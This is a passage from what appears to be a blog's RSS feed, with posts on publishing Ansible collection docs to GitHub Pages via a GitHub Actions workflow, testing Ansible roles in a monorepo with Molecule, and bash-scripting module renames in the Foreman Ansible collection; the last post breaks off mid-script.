&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;actions/checkout@v2&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;configure git&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git config user.name "${GITHUB_ACTOR}"&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git config user.email "${GITHUB_ACTOR}@bots.github.com"&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Set up Python&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;actions/setup-python@v2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;with&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;python-version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"3.7"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Install dependencies&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make doc-setup&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Build docs&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make doc&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;commit docs&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git checkout gh-pages&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;rm -rf $(basename ${GITHUB_REF})&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;mv docs/_build/html $(basename ${GITHUB_REF})&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;dirname */index.html | sort --version-sort | xargs -I@@ -n1 echo '&amp;lt;div&amp;gt;&amp;lt;a href="@@/"&amp;gt;&amp;lt;p&amp;gt;@@&amp;lt;/p&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;' &amp;gt;&amp;gt; index.html&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git add $(basename ${GITHUB_REF}) index.html&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="no"&gt;git commit -m "update docs for $(basename ${GITHUB_REF})" || true&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;push docs&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;git push origin gh-pages&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As this is not exactly self explanatory:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Configure git to have a proper author name and email, as otherwise you get ugly history and maybe even failing commits&lt;/li&gt;
&lt;li&gt;Fetch all branch names, as the checkout action by default doesn't do this.&lt;/li&gt;
&lt;li&gt;Setup Python, Sphinx, Ansible etc.&lt;/li&gt;
&lt;li&gt;Build the documentation as described above.&lt;/li&gt;
&lt;li&gt;Switch to the &lt;code&gt;gh-pages&lt;/code&gt; branch from the commit that triggered the workflow.&lt;/li&gt;
&lt;li&gt;Remove any existing documentation for this tag/branch (&lt;code&gt;$GITHUB_REF&lt;/code&gt; contains the name which triggered the workflow) if it exists already.&lt;/li&gt;
&lt;li&gt;Move the previously built documentation from the Sphinx output directory to a directory named after the current target.&lt;/li&gt;
&lt;li&gt;Generate a simple index of all available documentation versions.&lt;/li&gt;
&lt;li&gt;Commit all changes, but don't fail if there is nothing to commit.&lt;/li&gt;
&lt;li&gt;Push to the &lt;code&gt;gh-pages&lt;/code&gt; branch which will trigger a GitHub Pages deployment.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Pretty sure this won't win any beauty contest for scripting and automation, but it gets the job done and nobody on the team has to remember to update the documentation anymore.&lt;/p&gt;
&lt;p&gt;You can see the results on &lt;a href="https://theforeman.org/plugins/foreman-ansible-modules/"&gt;theforeman.org&lt;/a&gt; or directly on &lt;a href="https://theforeman.github.io/foreman-ansible-modules/"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</description><category>ansible</category><category>english</category><category>foreman</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2020/07/building-and-publishing-documentation-for-ansible-collections/</guid><pubDate>Mon, 20 Jul 2020 19:17:16 GMT</pubDate></item><item><title>Using Ansible Molecule to test roles in monorepos</title><link>https://www.die-welt.net/2020/07/using-ansible-molecule-to-test-roles-in-monorepos/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;&lt;a href="https://molecule.readthedocs.io"&gt;Ansible Molecule&lt;/a&gt; is a toolkit for testing Ansible roles. It allows for easy execution and verification of your roles and also manages the environment (container, VM, etc) in which those are executed.&lt;/p&gt;
&lt;p&gt;In &lt;a href="https://theforeman.org"&gt;the Foreman project&lt;/a&gt; we have a &lt;a href="https://github.com/theforeman/forklift"&gt;collection of Ansible roles to setup Foreman instances called &lt;code&gt;forklift&lt;/code&gt;&lt;/a&gt;. The roles vary from configuring Libvirt and Vagrant for our CI to deploying full fledged Foreman and Katello setups with Proxies and everything. The repository also contains a dynamic Vagrant file that can generate Foreman and Katello installations on all supported Debian, Ubuntu and CentOS platforms using the previously mentioned roles. This feature is super helpful when you need to debug something specific to an OS/version combination.&lt;/p&gt;
&lt;p&gt;Up until recently, all those roles didn't have any tests. We would run &lt;code&gt;ansible-lint&lt;/code&gt; on them, but that was it.&lt;/p&gt;
&lt;p&gt;As I am planning to do some heavier work on some of the roles to enhance our upgrade testing, I decided to add some tests first. Using Molecule, of course.&lt;/p&gt;
&lt;p&gt;Adding Molecule to an existing role is easy: &lt;a href="https://molecule.readthedocs.io/en/latest/getting-started.html#creating-a-new-role"&gt;&lt;code&gt;molecule init scenario -r my-role-name&lt;/code&gt;&lt;/a&gt; will add all the necessary files/examples for you. It's left as an exercise to the reader how to actually test the role properly as this is not what this post is about.&lt;/p&gt;
&lt;p&gt;Executing the tests with Molecule is also easy: &lt;a href="https://molecule.readthedocs.io/en/latest/getting-started.html#run-a-full-test-sequence"&gt;&lt;code&gt;molecule test&lt;/code&gt;&lt;/a&gt;. And there are also &lt;a href="https://molecule.readthedocs.io/en/latest/ci.html"&gt;examples how to integrate the test execution with the common CI systems&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But what happens if you have more than one role in the repository? Molecule has &lt;a href="https://molecule.readthedocs.io/en/latest/examples.html#monolith-repo"&gt;support for monorepos&lt;/a&gt;, however that is rather limited: it will detect the role path correctly, so roles can depend on other roles from the same repository, but it won't find and execute tests for roles if you run it from the repository root. There is an &lt;a href="https://github.com/ansible-community/molecule/pull/1746/files"&gt;undocumented way to set &lt;code&gt;MOLECULE_GLOB&lt;/code&gt;&lt;/a&gt; so that Molecule would detect test scenarios in different paths, but I couldn't get it to work nicely for executing tests of multiple roles and &lt;a href="https://github.com/ansible-community/molecule/issues/1744"&gt;upstream currently does not plan to implement this&lt;/a&gt;. Well, bash to the rescue!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;roledir&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;roles/*/molecule&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;pushd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;dirname&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$roledir&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;molecule&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;popd&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Add that to your CI and be happy! The CI will execute all available tests and you can still execute those for the role you're hacking on by just calling &lt;code&gt;molecule test&lt;/code&gt; as you're used to.&lt;/p&gt;
&lt;p&gt;However, we can do even better.&lt;/p&gt;
&lt;p&gt;When you initialize a role with Molecule or add Molecule to an existing role, there are &lt;a href="https://molecule.readthedocs.io/en/latest/getting-started.html#the-scenario-layout"&gt;quite a lot of files added in the molecule directory&lt;/a&gt; plus an &lt;a href="https://yamllint.readthedocs.io/"&gt;yamllint&lt;/a&gt; configuration in the role root. If you have many roles, you will notice that especially the &lt;code&gt;molecule.yml&lt;/code&gt; and &lt;code&gt;.yamllint&lt;/code&gt; files look very similar for each role.&lt;/p&gt;
&lt;p&gt;It would be much nicer if we could keep those in a shared place.&lt;/p&gt;
&lt;p&gt;Molecule supports a "base config": a configuration file that gets merged with the &lt;code&gt;molecule.yml&lt;/code&gt; of your project. By default, that's &lt;code&gt;~/.config/molecule/config.yml&lt;/code&gt;, but Molecule will actually look for a &lt;code&gt;.config/molecule/config.yml&lt;/code&gt; in two places: the root of the VCS repository &lt;em&gt;and&lt;/em&gt; your HOME. And guess what? The one in the repository wins (&lt;a href="https://github.com/ansible-community/molecule/pull/2746"&gt;that's not yet well documented&lt;/a&gt;). So by adding a &lt;code&gt;.config/molecule/config.yml&lt;/code&gt; to the repository, we can place all shared configuration there and don't have to duplicate it in every role.&lt;/p&gt;
&lt;p&gt;And that &lt;code&gt;.yamllint&lt;/code&gt; file? We can also move that to the repository root and add the following to Molecule's (now shared) configuration:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="nt"&gt;lint&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;yamllint --config-file ${MOLECULE_PROJECT_DIRECTORY}/../../.yamllint --format parsable .&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This will define the lint action as calling &lt;code&gt;yamllint&lt;/code&gt; with the configuration stored in the repository root instead of the project directory, assuming you store your roles as &lt;code&gt;roles/&amp;lt;rolename&amp;gt;/&lt;/code&gt; in the repository.&lt;/p&gt;
&lt;p&gt;And that's it. We now have a central place for our Molecule and yamllint configurations and only need to place role-specific data into the role directory.&lt;/p&gt;</description><category>ansible</category><category>english</category><category>foreman</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2020/07/using-ansible-molecule-to-test-roles-in-monorepos/</guid><pubDate>Sun, 12 Jul 2020 08:03:17 GMT</pubDate></item><item><title>mass-migrating modules inside an Ansible Collection</title><link>https://www.die-welt.net/2020/06/mass-migrating-modules-inside-an-ansible-collection/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;In &lt;a href="https://theforeman.org"&gt;the Foreman project&lt;/a&gt;, we've been maintaining a &lt;a href="https://github.com/theforeman/foreman-ansible-modules/"&gt;collection of Ansible modules to manage Foreman&lt;/a&gt; installations &lt;a href="https://github.com/theforeman/foreman-ansible-modules/commit/37938d6c531ff5cbfffb7646fbf68f12251bf204"&gt;since 2017&lt;/a&gt;. That is, 2 years before &lt;a href="https://github.com/ansible/ansible/blob/stable-2.8/changelogs/CHANGELOG-v2.8.rst#major-changes"&gt;Ansible had the concept of collections&lt;/a&gt; at all.&lt;/p&gt;
&lt;p&gt;For that you had to set &lt;code&gt;library&lt;/code&gt; (and later &lt;code&gt;module_utils&lt;/code&gt; and &lt;code&gt;doc_fragment_plugins&lt;/code&gt;) in &lt;code&gt;ansible.cfg&lt;/code&gt; and effectively inject our modules, their helpers and documentation fragments into the main Ansible namespace. Not the cleanest solution, but it worked quiet well for us.&lt;/p&gt;
&lt;p&gt;When Ansible started introducing Collections, &lt;a href="https://github.com/theforeman/foreman-ansible-modules/pull/279"&gt;we quickly joined&lt;/a&gt;, as the idea of namespaced, easily distributable and usable content units was great and exactly matched what we had in mind.&lt;/p&gt;
&lt;p&gt;However, collections are only usable in Ansible 2.8, or actually 2.9 as 2.8 can consume them, but tooling around building and installing them is lacking. Because of that we've been keeping our modules usable outside of a collection.&lt;/p&gt;
&lt;p&gt;Until recently, when we decided it's time to move on, drop that compatibility (which costed a few headaches over the time) and release a shiny 1.0.0.&lt;/p&gt;
&lt;p&gt;One of the changes we wanted for 1.0.0 is renaming a few modules. Historically we had the module names prefixed with &lt;code&gt;foreman_&lt;/code&gt; and &lt;code&gt;katello_&lt;/code&gt;, depending whether they were designed to work with Foreman (and plugins) or Katello (which is technically a Foreman plugin, but has a way more complicated deployment and currently can't be easily added to an existing Foreman setup). This made sense as long as we were injecting into the main Ansible namespace, but with collections the names be became &lt;code&gt;theforeman.foreman.foreman_ &amp;lt;something&amp;gt;&lt;/code&gt; and while we all love Foreman, that was a bit too much. So we wanted to drop that prefix. And while at it, also change some other names (like &lt;code&gt;ptable&lt;/code&gt;, which became &lt;code&gt;partition_table&lt;/code&gt;) to be more readable.&lt;/p&gt;
&lt;p&gt;But how? There is no tooling that would rename all files accordingly, adjust examples and tests. Well, &lt;code&gt;bash&lt;/code&gt; to the rescue! I'm usually not a big fan of bash scripts, but renaming files, searching and replacing strings? That perfectly fits!&lt;/p&gt;
&lt;p&gt;First of all we need a way map the old name to the new name. In most cases it's just "drop the prefix", for the others you can have some &lt;code&gt;if/elif/fi&lt;/code&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="nv"&gt;prefixless_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/^(foreman|katello)_//'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_environment'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'puppet_environment'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_sync'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'repository_sync'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_upload'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'content_upload'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_ptable'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'partition_table'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_search_facts'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'resource_info'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'katello_manifest'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'subscription_manifest'&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'foreman_model'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'hardware_model'&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;prefixless_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That defined, we need to actually have a &lt;code&gt;${old_name}&lt;/code&gt;. Well, that's a &lt;code&gt;for&lt;/code&gt; loop over the modules, right?&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/foreman_*py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/katello_*py&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;basename&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;module&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.py&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;…
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While we're looping over files, let's rename them and all the files that are associated with the module:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="c1"&gt;# rename the module&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.py&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.py

&lt;span class="c1"&gt;# rename the tests and test fixtures&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.yml&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TESTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.yml
git&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;tests/fixtures/apidoc/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.json&lt;span class="w"&gt; &lt;/span&gt;tests/fixtures/apidoc/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.json
